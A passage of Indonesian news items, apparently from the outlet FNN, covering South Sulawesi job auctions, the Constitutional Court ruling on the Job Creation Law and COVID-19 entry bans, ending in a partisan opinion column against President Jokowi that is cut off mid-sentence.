Makassar, FNN - Pemerintah Provinsi Sulawesi Selatan membuka pendaftaran lelang jabatan untuk posisi pejabat eselon II secara daring yang dimulai Senin. Kepala Badan Kepegawaian Daerah (BKD) Sulsel Imran Jausi di Makassar, Senin mengatakan tahun ini memang berbeda karena lelang jabatan dilakukan secara daring melalui website http://seleksijptp.sulselprov.go.id. Website ini pun kata dia, sebagai upaya Pemerintah Provinsi Sulawesi Selatan dalam mendorong pesatnya digitalisasi di era saat ini. "Mulai hari ini tanggal 29 November 2021 sampai dengan 3 Desember 2021 secara online melalui website http://seleksijptp.sulselprov.go.id. Jadi panitia seleksi tidak menerima dokumen secara fisik/langsung," katanya. Ia menjelaskan, ada sebanyak 15 Jabatan eselon II yang lowong akan dilelang. Adapun 15 jabatan yang akan dilelang yakni Inspektur Daerah, Kepala Dinas Peternakan dan Kesehatan Hewan, Kepala Dinas Kelautan dan Perikanan, Kepala Dinas Tanaman Pangan Hortikultura dan Perkebunan. Kepala Dinas Pemberdayaan Masyarakat dan Desa, Kepala Dinas Pekerjaan Umum dan Tata Ruang, Kepala Dinas Tenaga Kerja dan Transmigrasi dan Kepala Dinas Kesehatan. Selanjutnya Kepala Dinas Pendidikan, Kepala Biro Umum, Kepala Biro Hukum, Kepala Biro Administrasi Pimpinan, Kepala Biro Kesejahteraan Rakyat, kepala Biro Pengadaan Barang/jasa, Direktur RSUD Haji. Dalam rangka pengisian jabatan pimpinan tinggi pratama di lingkungan Pemerintah Provinsi Sulawesi Selatan, kata dia, berdasarkan peraturan menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi nomor 15 tahun 2019 tentang pengisian jabatan pimpinan tinggi secara terbuka dan kompetitif di lingkungan instansi pemerintah. Serta surat edaran Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Nomor 52 Tahun 2020 pelaksanaan Pengisian jabatan Pimpinan Tinggi secara terbuka dan kompetitif di lingkungan instansi Pemerintah dalam kondisi kedaruratan kesehatan masyarakat COVID-19. (sws)

Poros Sahabat Nusantara Minta Ketua DPD RI Jadi Pembina

Jakarta, FNN - Poros Sahabat Nusantara (POSNU) meminta Ketua DPD RI AA LaNyalla Mahmud Mattalitti agar bersedia menjadi pembina organisasi tersebut. "Kami berharap Ketua DPD RI bisa menjadi pembina kami (POSNU)," kata Ketua DPP POSNU, Erlina Dian Karmila saat menemui menemui LaNyalla di Rumah Dinas Ketua DPD RI di kawasan Kuningan, Jakarta, Minggu. Erlina mengatakan sejauh ini POSNU terus bergerak melibatkan diri untuk membangun bangsa dan negara melalui berbagai macam kegiatan yang telah dilaksanakan. "Embrio kami berasal dari PBNU. Kami berangkat dari NU, PMII, Ansor, IPNU, dan lainnya," jelas dia. Selama ini, katanya, masing-masing organisasi yang terafiliasi di bawah PBNU bergerak sendiri-sendiri. Pada akhir 2020 terbentuk POSNU dan mulai bergerak Januari 2021. Beberapa kegiatan yang dilakukan lebih menekankan kepada ritual keagamaan. Pada Januari 2022, ujar dia, POSNU akan melaksanakan lima kegiatan di lima pesantren di DKI Jakarta. Tidak hanya itu, sosialisasi tentang kesehatan telah dilakukan di beberapa pesantren. Sementara itu, Ketua DPD RI AA LaNyalla Mahmud Mattalitti menyampaikan terima kasih kepada POSNU atas amanah yang diberikan dan akan menjalankannya dengan baik sebagai pembina POSNU. "Doakan agar saya amanah mengemban tugas baru saya sebagai pembina POSNU," kata LaNyalla. Pada kesempatan itu, Senator asal Jawa Timur tersebut meminta POSNU agar ikut ambil bagian dalam menyejahterakan masyarakat. Hal itu dapat dilakukan dengan berbagai hal positif termasuk tidak tinggal diam mengoreksi arah perjalanan bangsa. "Saya berharap POSNU ikut mendorong tercapainya tujuan utama bangsa ini, yakni keadilan sosial bagi seluruh rakyat," ujar dia. La Nyalla Mahmud Mattalitti juga menyatakan kesiapannya untuk memberi sambutan pada Konferensi Pemuda Asia-Afrika yang digelar di Bandung, Jawa Barat pada 16-19 Desember 2021. “Pada era mendatang, pemuda memiliki peranan yang cukup penting dalam menentukan arah perjalanan bangsa. Sebagai generasi penerus, pemuda memiliki peran sentral dalam mengisi pembangunan bangsa,” kata La Nyalla dalam keterangan yang diterima di Jakarta, Minggu. Oleh karena itu, Senator asal Jawa Timur ini akan hadir dan memberi sambutan pada Konferensi Pemuda Asia-Afrika untuk menggugah kesadaran anak muda, sehingga bersemangat untuk ikut berpartisipasi dalam mengontrol arah perjalanan bangsa. "Arah bangsa ini sesuai dengan cita-cita para pendiri bangsa, sehingga tujuan hakiki dari lahirnya bangsa ini, yaitu keadilan sosial bagi seluruh rakyat Indonesia, dapat terwujud,” ujar La Nyalla. Selain itu, La Nyalla juga telah menyatakan kesanggupannya untuk menjadi Ketua Dewan Pembina, sebagaimana permintaan yang disampaikan oleh Ketua Umum Himpunan Artis Pengusaha Seluruh Indonesia (HAPSI) Yuma Shannelom. Sebelumnya, HAPSI meminta kesediaan AA La Nyalla Mahmud Mattalitti untuk memberikan sambutan pada pertemuan Pemuda Asia-Afrika. Ia mengatakan bahwa 23 negara telah mengonfirmasi kehadiran mereka di perhelatan tersebut. "Kami mengundang Pak La Nyalla untuk hadir pada pertemuan Pemuda Asia-Afrika. Kami juga meminta Bapak menjadi Ketua Dewan Pembina kami. Kami berharap Pak La Nyalla berkenan menjadi Ketua Dewan Pembina kami dan bersedia memberikan sambutan," ujar Yuma. Yuma menjelaskan, usai menggelar rapat kerja (raker), terdapat sejumlah program yang telah dirumuskan. Salah satunya adalah menggelar fashion show pada acara pertemuan Pemuda Asia-Afrika bulan depan. Selain itu, mereka juga akan menggelar festival film untuk menggali potensi masyarakat di daerah. "Ini adalah raker pertama setelah empat tahun HAPSI berdiri. Program jangka pendek dan jangka panjang telah kami rumuskan," kata dia. Wakil Ketua Umum HAPSI Shanker RS menambahkan, dalam kegiatan itu akan dilombakan film televisi dengan menggunakan bahasa daerah. "Ini adalah upaya kami untuk memberikan ruang berkreasi bagi potensi hebat yang berada di daerah. Nantinya film ini akan diputar di televisi. Ini upaya untuk melestarikan adat dan budaya Indonesia," kata Shanker. (sws, ant)

Membaca Perlahan Putusan MK Soal UU Cipta Kerja

Jakarta, FNN - Mahkamah Konstitusi (MK) pada Kamis (26/11) telah memutuskan bahwa Undang-undang Nomor 11 tahun 2020 tentang Cipta Kerja (Ciptaker) bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengikat (inkonstitusional) bila tidak dilakukan perbaikan dalam waktu 2 tahun. Perkara Nomor 91/PUU-XVIII/2020 tersebut diajukan pada 15 Oktober 2020 ke kepaniteraan MK dan diperbaiki pada 24 November 2020 ataju membutuhkan waktu sekitar satu tahun untuk dibahas oleh sembilan orang hakim MK. UU Ciptaker sendiri baru resmi disepakati dalam rapat paripurna DPR pada 5 Oktober 2020 dan diundangkan pada 2 November 2020 yaitu setelah Presiden Joko Widodo menandatangani naskah undang-undang tersebut hingga ditetapkan sebagai UU No 11 tahun 2020 dengan nomor Lembaran Negara (LN) 245 dan nomor Tambahan Lembar Negara (TLN) 6673. Hanya butuh waktu 22 hari bagi para pemohon untuk mengajukan gugatan uji formil ke MK. Memang sejak awal dicetuskan dalam pidato pelantikan Presiden Jokowi pada 20 Oktober 2019 di hadapan DPR, UU Ciptaker yang bersifat "Omnibus Law" tersebut memang sarat pro dan kontra. Presiden Jokowi dalam rapat terbatas 15 Januari 2020 memang menargetkan pembahasan "omnibus law" Cipta Kerja dapat dilakukan hanya dalam 100 hari kerja di DPR. Namun pembahasan UU Ciptaker mendapat penolakan dari banyak pihak termasuk berbagai demonstrasi yang dilakukan ribuan orang yang terdiri dari buruh, pelajar, mahasiswa maupun masyarakat. Aksi masa terjadi di Jakarta, Bekasi, Purwakarta, Bandung, Yogyakarta, Makassar, Semarang, Surabaya, Bengkulu, Lampung, Medan, Sumatera Selatan, Kalimantan Barat, Kalimantan Tengah hingga Papua Barat. Polri pun mencatat ada 3.862 orang yang ditangkap dalam rangkaian aksi unjuk rasa tersebut. Putusan MK Ada enam pihak yang terdiri dari individu maupun kelompok masyarakat yaitu Hakiimi Irawan Bangkid Pamungkas (mantan buruh Perjanjian Kerja Waktu Tertentu), Ali Sujito (mahasiswa), Muhtar Said (dosen), Migrant Care, Badan Koordinasi Kerapatan Adat Nagari Sumatera Barat dan Mahkamah Adat Alam Minangkabau yang mengajukan gugatan uji formil UU Ciptaker ke MK. Para penggugat mengatakan UU Cipta Kerja yang menerapkan konsep "Omnibus law" yang terbagi atas 11 klaster sebagai penggabungan dari 78 UU itu tidak memenuhi ketentuan pembentukan UU berdasarkan UUD 1945 (Cacat formil/Cacat Prosedur) karena terdapat pelanggaranpelanggaran yang dilakukan secara terang benderan dan secara nyata diketahui oleh publik. Pelanggaran tersebut adalah pertama, format susunan peraturan dari UU Ciptaker bertentangan dengan teknik penyusunan peraturan perundang-undangan sebagaimana diatur dalam Pasal 64 UU 12/2011 tentang Pembentukan Peraturan Perundang-Undangan. Kedua, UU Ciptaker bertentangan dengan sejumlah asas yang diatur dalam UU 12/2011, yaitu asas "Kejelasan Tujuan", "Kedayagunaan dan Kehasilgunaan", "Kejelasan Rumusan" serta "Keterbukaan. Ketiga, pemohon menilai adanya perubahan materi muatan pasca persetujuan bersama DPR dan Presiden Jokowi bertentangan dengan pasal 20 Ayat (4) UUD 1945 dan Pasal 72 Ayat (2) UU 12/2011. Dalam putusannya, hakim MK menyatakan dua pemohon tidak memiliki kedudukan hukum untuk mengajukan permohonan yaitu Hakiimi Irawan Bangkid Pamungkas dan Ali Sujito (pemohon I dan II) sehingga hanya pemohon III, IV, V dan VI yaitu Muhtar Said, Migrant Care (diwakili Wahyu Susilo selaku ketua dan Anis Hidayah selaku sekretaris), Badan Koordinasi Kerapatan Adat Nagari Sumatera Barat (diwakili Yuzirwan Rasyid Datuak PGP Gajah Tongga selaku Ketua Umum dan Yulizal Datuak Rajo Bagindo selaku Sekretaris Umum) dan Mahkamah Adat Alam Minangkabau (diwakili oleh Irwansyah Datuak Katumanggungan, selaku Ketua) yan gdinyatakan punya kedudukan hukum. Setidaknya ada lima poin utama dalam putusan hakim MK mengenai uji formil UU Cipta Kerja. Pertama, MK menyatakan pembentukan UU No 11 Tahun 2020 tentang Cipta Kerja bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengikat (inkonstitusional) secara bersyarat sepanjang tidak dimaknai "tidak dilakukan perbaikan dalam waktu 2 tahun sejak putusan diucapkan". Kedua, menyatakan UU Ciptaker masih tetap berlaku sampai dengan dilakukan perbaikan pembentukan sesuai dengan tenggang waktu 2 tahun. Ketiga, MK memerintahkan kepada pembentuk UU untuk melakukan perbaikan dalam jangka waktu paling lama 2 tahun dan apabila dalam tenggang waktu tersebut tidak dilakukan perbaikan maka UU Ciptaker menjadi inkonstitusional secara permanen. Keempat, dalam masa 2 tahun perbaikan tersebut maka pasal-pasal atau materi muatan undang-undang yang telah dicabut atau diubah oleh UU Ciptaker dinyatakan berlaku kembali. Kelima, MK menangguhkan segala tindakan/kebijakan yang bersifat strategis dan berdampak luas, serta tidak dibenarkan pula menerbitkan peraturan pelaksana baru yang berkaitan dengan UU No 11 tahun 2020 tentang Cipta Kerja. Sembilan orang hakim MK yaitu Anwar Usman selaku ketua, Aswanto,Wahiduddin Adams, Suhartoyo, Enny Nurbaningsih, Saldi Isra, Arief Hidayat, Manahan M.P. Sitompul, dan Daniel Yusmic P. Foekh menguraikan alasan putusan MK tersebut dalam dokumen setebal 448 halaman. Pertama terkait dikabulkannya pengujian formil atau pengujian undang-undang yang berkenaan dengan proses pembentukan undang-undang tersebut (bukan menguji materi undang-undang). Menurut hakim konsitusi, MK berhak melakukan uji formil suatu UU berdasarkan pasal 22A UUD 1945 sehingga penyimpangan atas tata cara pembentukan suatu UU yang telah ditentukan dalam UU No 12 tahun 2011 tentang Pembentukan Peraturan Perundang-undangan. Majelis Hakim MK menyebut penilaian terhadap tahapan dan standar dimaksud dilakukan secara akumulatif. Dalam hal ini, jikalau minimal satu tahapan atau satu standar saja tidak terpenuhi dari semua tahapan atau semua standar yang ada, maka sebuah undang-undang dapat dikatakan cacat formil dalam pembentukannya. Artinya, cacat formil undang-undang sudah cukup dibuktikan apabila terjadi kecacatan dari semua atau beberapa tahapan atau standar dari semua tahapan atau standar," jelas hakim MK. UU No 11 tahun 2020 disebut telah nyata menggunakan nama baru yaitu UU tentang Cipta Kerja sehingga MK dapat memahami apa yang menjadi persoalan inti para pemohon yakni adanya ketidakjelasan apakah UU Ciptaker merupakan UU baru atau UU perubahan karena tidak sejalan dengan rumusan baku atau standar dalam pembentukan peraturan perundang-undangan. Hakim konstitusi menilai karakter metode "omnibus law" dalam UU Ciptaker berbeda dengan pembentukan UU 32/2004 tentang Pemerintahan Daerah dan dan UU 7/2017 tentang Pemilu. UU Pemerintah Daerah dan UU Pemilu dijadikan contoh oleh pemerintah terkait proses pembentukan UU Ciptaker. Hal tersebut terlihat dari jumlah UU yang dilakukan penyederhanaan yaitu berjumlah 78 UU dengan materi muatan yang saling berbeda satu sama lain dan seluruh UU yang digabungkan tersebut masih berlaku efektif kecuali pasal-pasal yang diubah dalam UU 11/2020. Oleh karena itu tidak 'apple to apple' apabila dibandingkan dengan penyederhanaan UU yang dilakukan dalam UU 32/2004 dan UU 7/2017. Dengan melihat perbedaan tersebut, menurut hakim konstitusi, model penyederhanaan UU yang dilakukan oleh UU 11/2020 menjadi sulit dipahami apakah merupakan UU baru, UU perubahan atau UU pencabutan. Mahkamah dapat memahami tujuan penting menyusun kebijakan strategis penciptaan lapangan kerja beserta pengaturannya, dengan melakukan perubahan dan penyempurnaan berbagai Undang-Undang. Namun, yang menjadi persoalan adalah tidaklah dapat dibenarkan dengan mengatasnamakan lamanya waktu membentuk UU maka pembentuk UU menyimpangi tata cara yang telah ditentukan secara baku dan standar demi mencapai tujuan penting tersebut. Hal tersebut tidak sejalan dengan maksud "asas kejelasan rumusan" dalam UU 12/2011 yang menghendaki agar setiap peraturan perundang-undangan harus memenuhi persyaratan teknis penyusunan peraturan perundang-undangan, sistematika, pilihan kata atau istilah, serta bahasa hukum yang jelas dan mudah dimengerti sehingga tidak menimbulkan berbagai macam interpretasi dalam pelaksanaannya. Jika terdapat kebutuhan baru sesuai dengan dinamika kondisi kekinian yang berkembang dalam pembentukan peraturan perundangundangan, menurut hakim konsitusi, maka terbuka ruang untuk melakukan perubahan terhadap Lampiran UU 12/2011 tentang Pembentukan Peraturan Perundang-undangan. Artinya, ihwal teknis atau metode tersebut dirancang untuk selalu dapat mengikuti atau adaptif terhadap perkembangan kebutuhan, termasuk jika akan dilakukan penyederhanaan peraturan perundang-undangan dengan metode apapun, termasuk metode "omnibus law". Apabila proses melakukan perubahan atas suatu UU tidak dapat terselesaikan sesuai dengan yang direncanakan dan penyelesaian tersebut baru dapat dilakukan ketika dibentuk UU 11/2020, hal tersebut tidak berkorelasi sematamata dengan persoalan waktu yang lama sebagai penyebab tidak terselesaikan RUU yang telah direncanakan, melainkan terdapat sebab-sebab lain. Namun sebab lain tersebut tidak boleh menjadi alasan untuk mengambil "jalan pintas" pembentukan UU dengan tidak menggunakan ketentuan tata cara pembentukan UU yang telah ditentukan dalam UU 12/2011 sebagai panduan atau pedoman baku atau standar. Persoalan salah ketik dan salah kutip. MK menemukan setidaknya 8 fakta hukum perbedaan antara naskah RUU Ciptaker yang telah disetujui bersama oleh DPR dan Presiden dengan UU 11/2020 setelah disahkan/diundangkan. MK juga mendapati satu kesalahan pengutipan rujukan pasal. Salah kutip tersebut yaitu: 1. Pada halaman 151-152 RUU Ciptaker (yang telah disetujui bersama oleh DPR dan Presiden) yang mengubah beberapa ketentuan UU No 20 tahun 2001 tentang Minyak dan Gas Bumi terdapat perubahan atas Pasal 46. Namun, pada halaman 227-228 UU 11/2020 (setelah disahkan/diundangkan), pasal 46 tersebut tidak termuat lagi dalam Perubahan UU 22/2001. 2. Pada halaman 388 RUU Ciptaker (yang telah disetujui bersama oleh DPR dan Presiden) mengubah UU No 40 Tahun 2007 tentang Perseroan Terbatas terdapat perubahan atas ketentuan Pasal 7 ayat (8) yang semula berbunyi "Usaha mikro dan kecil sebagaimana dimaksud pada ayat (7) huruf e merupakan usaha mikro dan kecil sebagaimana diatur dalam ketentuan peraturan perundang-undangan di bidang usaha mikro, kecil, dan menengah". Namun pada halaman 610 UU 11/2020 (setelah disahkan/diundangkan) ketentuan Pasal 7 ayat (8) diubah menjadi "Usaha mikro dan kecil sebagaimana dimaksud pada ayat (7) huruf e merupakan usaha mikro dan kecil sebagaimana diatur dalam peraturan perundang-undangan mengenai Usaha Mikro dan Kecil". Perubahan tersebut menghilangkan kata "menengah". 3. Pada halaman 390 RUU Cipkater (yang telah disetujui bersama oleh DPR dan Presiden) yang mengubah Pasal 153D ayat (2) UU 40/2007, yaitu "Direktur berwenang menjalankan pengurusan …" namun pada halaman 613 UU 11/2020 (setelah disahkan/diundangkan) ketentuan Pasal 153D ayat (2) diubah menjadi berbunyi "Direksi berwenang menjalankan pengurusan...", artinya mengganti kata "Direktur" menjadi kata "Direksi" 4. Pada halaman 391 RUU Ciptaker (yang telah disetujui bersama oleh DPR dan Presiden) yang mengubah Pasal 153G ayat (2) huruf b UU 40/2007 semula berbunyi "jangka waktu berdirinya yang ditetapkan dalam anggaran dasar telah berakhir", namun pada halaman 614 UU 11/2020 (setelah disahkan/diundangkan) Pasal 153G ayat (2) huruf b menjadi "jangka waktu berdirinya yang ditetapkan dalam pernyataan pendirian telah berakhir”. Sehingga menghilangkan frasa "anggaran dasar" menjadi "pernyataan pendirian". 5. Pada halaman 390 RUU Ciptaker (yang telah disetujui bersama oleh DPR dan Presiden) yang mengubah pasal 153 UU 40/2007 semuila "Ketentuan mengenai biaya Perseorangansebagai badan hukum diatur sesuai dengan ketentuan peraturan perundangundangan di bidang penerimaan negara bukan pajak", namun UU 11/2020 (setelah disahkan/diundangkan) ketentuan Pasal 153 diubah menjadi "Ketentuan mengenai biaya Perseroan sebagai badan hukum diatur sesuai dengan ketentuan peraturan perundang-undangan di bidang penerimaan negara bukan pajak", artinya mengubah kata "Perseorangan" menjadi "Perseroan" 6. Pada halaman 374 RUU Ciptaker (yang telah disetujui bersama oleh DPR dan Presiden) mengubah pasal 100 UU No 20 Tahun 2008 tentang Usaha Mikro, Kecil, dan Menengah, semula berbunyi "Inkubasi sebagaimana dimaksud dalam Pasal 97 bertujuan untuk …” dan pasal 101 berbunyi "Sasaran pengembangan inkubasi sebagaimana dimaksud dalam Pasal 97 meliputi …". Namun pada halaman 586-587 UU 11/2020 (setelah disahkan/diundangkan) rujukan Pasal 100 diubah menjadi "Inkubasi sebagaimana dimaksud dalam Pasal 99 bertujuan untuk …”. Selanjutnya, rujukan ketentuan Pasal 101 diubah menjadi berbunyi "Sasaran pengembangan inkubasi sebagaimana dimaksud dalam Pasal 99 meliputi …". 7. Pada halaman 424 RUU Cipkater (yang telah disetujui bersama oleh DPR dan Presiden) yang mengubah UU No 28 Tahun 2009 tentang Pajak Daerah dan Retribusi, terdapat angka 3 yang berbunyi "Di antara Bab VI dan Bab VII disisipkan 1 (satu) bab yaitu Bab VIIA. Namun terdapat ketidaksinkronan antara angka 3 dengan judul Bab yang selanjutnya pada halaman 669 UU 11/2020 (setelah disahkan/diundangkan). 8. Pada halaman 492-494 UU 11/2020 (setelah disahkan/diundangkan) mengubah UU No 8 Tahun 2019 tentang Penyelenggaraan Ibadah Haji dan Umrah terdapat angka 1 mengenai perubahan terhadap ketentuan umum Pasal 1 angka 11 dan angka 19 UU 8/2019 yang selanjutnya ditulis lengkap Pasal 1 Ketentuan Umum perubahan UU 8/2019 menjadi sebanyak angka 1-20. Namun, dalam UU 8/2019 yang asli terdapat ketentuan umum mulai dari angka 1-28 sehingga adanya perubahan tersebut menghilangkan kepastian hukum atas keberlakuan Pasal 1 Ketentuan Umum mulai angka 21-28. Sementara salah pengutipan dalam rujukan pasal terjadi pada pasal6 UU 11/2020 yang menyatakan "Peningkatan ekosistem investasi dan kegiatan berusaha sebagaimana dimaksud dalam Pasal 5 ayat (1) huruf a meliputi:...”. Sementara, materi muatan Pasal 5 menyatakan "Ruang lingkup sebagaimana dimaksud dalam Pasal 4 meliputi bidang hukum yang diatur dalam undang-undang terkait". Terlepas dari konstitusionalitas, menurut hakim MK, norma ketentuan UU 11/2020 yang seharusnya dijadikan rujukan terdapat dalam Pasal 4 huruf a yang menyatakan "Dalam rangka mencapai tujuan sebagaimana dimaksud dalam Pasal 3, ruang lingkup UU ini mengatur kebijakan strategis Cipta Kerja yang meliputi: a. peningkatan ekosistem investasi dan kegiatan berusaha;...". "Dengan demikian, hal ini membuktikan telah ada kesalahan pengutipan dalam merujuk pasal sehingga hal tersebut tidak sesuai dengan asas 'kejelasan rumusan' yang menyatakan bahwa setiap peraturan perundang-undangan harus memenuhi persyaratan teknis penyusunan peraturan perundang-undangan, sistematika, pilihan kata atau istilah, serta bahasa hukum yang jelas dan mudah dimengerti sehingga tidak menimbulkan berbagai macam interpretasi dalam pelaksanaannya," ungkap hakim MK. Ketiga, terkait dengan asas "keterbukaan", dalam persidangan terungkap fakta pembentuk undang-undang tidak memberikan ruang partisipasi kepada masyarakat secara maksimal. "Sekalipun telah dilaksanakan berbagai pertemuan dengan berbagai kelompok masyarakat pertemuan dimaksud belum membahas naskah akademik dan materi perubahan undang-undang a quo sehingga masyarakat yang terlibat dalam pertemuan tersebut tidak mengetahui secara pasti materi perubahan undang-undang apa saja yang akan digabungkan dalam UU 11/2020. Terlebih lagi naskah akademik dan rancangan UU Cipta Kerja tidak dapat diakses dengan mudah oleh masyarakat," kata hakim konsitusi. Maka MK berpendapat proses pembentukan UU 11/2020 adalah tidak memenuhi ketentuan berdasarkan UUD 1945, sehingga harus dinyatakan cacat formil. Namun ada empat hakim konsitusi yang mengajukan pendapat berbeda (dissenting opinion). Pendapat berbeda pertama diajukan dua hakim yaitu Arief Hidayat dan Anwar Usman yang menyatakan tidak ada alasan untuk menolak penerapan metode "omnibus law" meskipun belum diatur secara eksplisit dalam undang-undang pembentukan peraturan perundang-undangan. Menurut Arief Hidayat dan Anwar Usman, penggunaan pembentukan undang-undang melalui metode 'omnibus law' boleh dilakukan tanpa memasukannya terlebih dahulu ke dalam ketentuan UU No 12 tahun 2011 tentang tentang Pembentukan Peraturan Perundang-Undangan. "Namun dalam pembangunan hukum nasional, terutama dalam hal pembentukan undang-undang di masa berikutnya dan demi memenuhi asas kepastian hukum, maka diperlukan perubahan terhadap Undang-Undang tentang Pembentukan Peraturan Perundang-undangan sesegera mungkin guna mengakomodir metode 'omnibus law' dalam pembentukan undang-undang ke depan," kata hakim konsitusi. Baik Arief Hidayat maupun Anwar Usman sependapat bahwa materi muatan dalam UU Ciptaker ada yang perlu dikabulkan, terutama ihwal hukum ketenagakerjaan. "Sebab, hal ini berkaitan erat dengan penghormatan (to respect), perlindungan (to protect), dan pemenuhan (to fullfil) hak konstitusional buruh, yakni terkait dengan upah, pesangon, outsourcing, dan Perjanjian Kerja Waktu Tertentu (PKWT)," tambah hakim konstitusi. Pendapat berbeda kedua diajukan oleh hakim konstitusi Manahan M.P. Sitompul dan Daniel Yusmic P. Foekh. Keduanya berpendapat bahwa sepanjang sejarah berdirinya MK belum terdapat adanya penilaian yuridis terkait metode apa yang baku dan bersesuaian dengan UUD 1945. "Artinya, metode lain dalam penyusunan peraturan perundang-undangan, termasuk metode omnibus, dimungkinkan pengadopsiannya ke dalam sistem hukum nasional manakala dipandang lebih efektif dan efisien untuk mengakomodasi beberapa materi muatan sekaligus, serta benar-benar dibutuhkan dalam mengatasi kebuntuan berhukum," kata hakim konsitusi. Baik Manahan Sitompul maupun Daniel Yusmic mengatakan proses pembentukan UU Cipta Kerja telah dilakukan secara terbuka dan melibatkan partisipasi publik sesuai dengan ketentuan Pasal 88 dan Pasal 96 UU No 12 tahun 2011 "Mahkamah menyatakan UU a quo adalah konstitusional karena UU No 12 tahun 2011 sama sekali tidak mengatur metode 'omnibus', walaupun dalam praktik pembentukan undang-undang sudah digunakan dan di sisi yang lain Mahkamah seharusnya tidak menutup mata adanya obesitas regulasi di mana di antara undang-undang yang satu dengan yang lainnya terjadi tumpang-tindih sehingga menciptakan ego sektoral yang berakibat menimbulkan ketidakpastian hukum dalam penerapannya," ungkap hakim konsitusi. Respons putusan Terhadap putusan MK tersebut, pemerintah melalui Menteri Koordinator bidang Perekonomian Airlangga Hartarto mengatakan pemerintah menghormati dan mematuhi putusan dari MK serta akan melaksanakan UU No 11 tahun 2020 tentang Cipta Kerja dengan sebaik-baiknya sesuai dengan putusan MK yang dimaksud. Airlangga juga menilai putusan tersebut memerintahkan agar pemerintah tidak menerbitkan peraturan baru yang bersifat strategis sampai dilakukan perbaikan atas pembentukkan UU cipta kerja. Menurut Airlangga, dengan demikian peraturan perundangan yang telah diberlakukan untuk melaksanakan UU Cipta Kerja tetap berlaku. Selanjutnya pemerintah akan segera menindaklanjuti putusan MK tersebut. Melalui penyiapan perbaikan undang-undang dan melaksanakan sebaik-baiknya arahan MK lainnya sebagaimana dimaksud dalam putusan MK tersebut. (sws, ant)

Indonesia Tolak Kedatangan Warga dari 8 Negara Afrika Cegah COVID-19

Jakarta, FNN - Pemerintah Indonesia melalui Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) untuk sementara waktu menolak kedatangan atau kunjungan sejumlah Warga Negara Asing (WNA) khususnya dari delapan negara Afrika untuk mencegah COVID-19 varian baru. "Delapan negara tersebut yakni Afrika Selatan, Botswana, Namibia, Zimbabwe, Lesotho, Mozambik, Eswatini dan Nigeria dalam kurun waktu 14 hari sebelum masuk wilayah Indonesia," kata Kepala Bagian Humas dan Umum Ditjen Imigrasi Arya Pradhana Anggakara melalui keterangan tertulis yang diterima di Jakarta, Minggu. Artinya, jika ada orang asing yang pernah berkunjung ke negara-negara tersebut dalam kurun waktu 14 hari ke belakang, maka di tempat pemeriksaan imigrasi akan langsung ditolak masuk Indonesia. Aturan itu dikeluarkan menyikapi dinamika munculnya varian baru COVID-19 B1.1.529 dari luar wilayah Indonesia. Kemudian ditindaklanjuti dengan terbitnya aturan pembatasan pelaku perjalanan internasional yang akan masuk Indonesia. Selain itu, Direktorat Jenderal Imigrasi juga menangguhkan sementara pemberian visa kunjungan dan visa tinggal terbatas bagi warga negara Afrika Selatan, Botswana, Namibia, Zimbabwe, Lesotho, Mozambik, Eswatini dan Nigeria. Angga, sapaan akrabnya mengatakan aturan pembatasan masuk orang asing serta penangguhan sementara visa bagi negara terkait mulai berlaku pada Senin (29/11) 2021. Sementara, untuk orang asing selain dari negara-negara tersebut, saat ini masih berlaku aturan pembatasan sesuai Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 34 Tahun 2021 tentang Pemberian Visa dan Izin Tinggal Keimigrasian Dalam Masa Penanganan Penyebaran Corona Virus Disease 2019 dan Pemulihan Ekonomi Nasional. "Jika masyarakat membutuhkan konsultasi lebih lanjut, disarankan menghubungi kami melalui livechat di www.imigrasi.go.id pada hari dan jam kerja," ujar dia. (sws, ant)

Presiden Jokowi Potensial untuk Diadili

By M Rizal Fadillah Uganda berduka karena satu-satunya Bandara Internasional Entebbe diambil alih oleh negara China setelah pinjaman Bank Exim China kepada Pemerintah Uganda tidak mampu terbayarkan. Presiden Yoweri Musevini gagal menegosiasikan pembayaran kepada Beijing sementara Menteri Keuangan Matia Kasaija meminta maaf kepada Parlemen atas "salah menangani" hutang. Padahal jangka waktu pinjaman baru 6 tahun terhitung 2015. Pemerintahan Jokowi menjadi rezim gemar berhutang yang sebagian besarnya digunakan untuk membiayai proyek infrastruktur. Ambisi besar tenaga kurang sangat membahayakan kedaulatan. Proyek Kereta Cepat China dan pemindahan Ibukota mengancam dan dapat menjadi beban sangat berat. Lepasnya 49 % saham Bandara Kualanamu ke pihak India adalah sinyal buruk. Otoritas pengelolaan telah bergeser. Ini menyangkut penggerusan kedaulatan negara atas pelabuhan udara. Perpres No 32 tahun 2O20 tentang Pembiayaan Infrastruktur Melalui Hak Pengelolaan Terbatas membuka peluang bagi badan hukum asing untuk mengelola aset negara. Ketika rakyat tak berdaya untuk mencegah, maka posisinya hanya melihat kerja yang dilakukan oleh Pemerintah. Dengan tingkat kepercayaan rakyat rendah para Menteri Kabinet Jokowi menunjukkan kinerja yang belepotan. Koordinasi Presiden juga buruk. Menteri Keuangan tak bisa menutupi fakta atas ketidakmampuan atau kegagalannya. Citra sebagai Menteri Keuangan yang hebat telah pupus. Mengapa Presiden Jokowi potensial untuk diadili, karena : Pertama, sebagai Kepala Pemerintahan telah gagal menjaga perkembangan ekonomi yang mampu menyejahterakan rakyat, bahkan hutang telah mencapai 6000 trilyun. Aset negara dijual-jual, BUMN bangkrut, serta tanah negara yang dibagi-bagi dan dikuasai oleh segelintir pemodal. Kedua, pelanggaran hak asasi manusia yang terang-terarangan dan berulang-ulang. Terakhir proses peradilan HRS yang bermotif politik dan dipaksakan, penangkapan Advokat Munarman, Ustad Farid Okbah, DR Ahmad Zein An Najah, dan DR Anung Hilmat. Termasuk penganiayaan dan pembunuhan brutal 6 anggota Laskar FPI. Kasus pelanggaran HAM itu melekat terus meski Jokowi nantinya sudah tidak menjabat lagi sebagai Presiden. Ketiga, soal Ibukota baru serius harus dipertanggungjawabkan apalagi jika skemanya "bumi hangus" DKI Jakarta. Nilai penjualan aset negara di Jakarta sudah diperkirakan Kemenkeu 1100 Trilyun. Ternyata pemindahan itu bukan sebagai penambahan dan pengembangan kota justru membunuh kehidupan kota yang sudah tumbuh. Seluruh proyek investasi khususnya yang berskala besar seharusnya diikuti dengan audit keuangan atas para pejabat terkait, termasuk proyek kesehatan di masa pandemi. Penambahan kekayaan patut dicurigai. Pengawasan atas 